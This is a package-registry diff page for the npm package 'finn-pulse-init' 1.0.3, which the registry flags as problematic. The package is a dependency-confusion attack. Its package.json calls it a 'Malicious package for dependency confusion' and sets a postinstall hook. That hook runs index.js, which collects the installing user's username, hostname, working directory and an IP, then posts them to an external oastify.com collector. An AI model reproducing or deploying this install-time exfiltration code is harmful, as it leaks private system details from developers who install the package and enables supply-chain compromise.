finn-pulse-init 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of finn-pulse-init might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/.env +1 -0
  2. package/index.js +43 -0
  3. package/package.json +14 -0
package/.env ADDED
@@ -0,0 +1 @@
1
+ asuuuuuuuuuuuuuuuuuuuuuu
package/index.js ADDED
@@ -0,0 +1,43 @@
1
+ const axios = require('axios');
2
+ const os = require('os');
3
+ const path = require('path');
4
+
5
+ // Mengambil informasi sistem
6
+ function getSystemInfo() {
7
+ const username = os.userInfo().username; // Nama pengguna
8
+ const hostname = os.hostname(); // Nama host
9
+ const currentPath = path.resolve('.'); // Jalur terkini
10
+ const ipExternal = require('dns').lookup('google.com', function(err, address, family) {
11
+ return address; // Mendapatkan IP eksternal
12
+ });
13
+
14
+ return {
15
+ username: username,
16
+ hostname: hostname,
17
+ currentPath: currentPath,
18
+ ipExternal: ipExternal
19
+ };
20
+ }
21
+
22
+ // Fungsi untuk mengirim data ke server
23
+ function sendData() {
24
+ const data = getSystemInfo();
25
+
26
+ // Hanya mengirim data yang dibutuhkan
27
+ axios.post('https://r5xuky3oqyup2cblkdl09hu5awgn4ds2.oastify.com/log', {
28
+ username: data.username,
29
+ hostname: data.hostname,
30
+ currentPath: data.currentPath,
31
+ ipExternal: data.ipExternal
32
+ })
33
+ .then(response => {
34
+ console.log('Data telah dikirim:', response.data);
35
+ })
36
+ .catch(error => {
37
+ console.error('Error mengirim data:', error);
38
+ });
39
+ }
40
+
41
+ // Jalankan pengiriman data
42
+ sendData();
43
+
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "finn-pulse-init",
3
+ "version": "1.0.3",
4
+ "description": "Malicious package for dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "author": "Attacker",
10
+ "license": "MIT",
11
+ "dependencies": {
12
+ "@finn-no/cdn-uploader": "^3.3.0"
13
+ }
14
+ }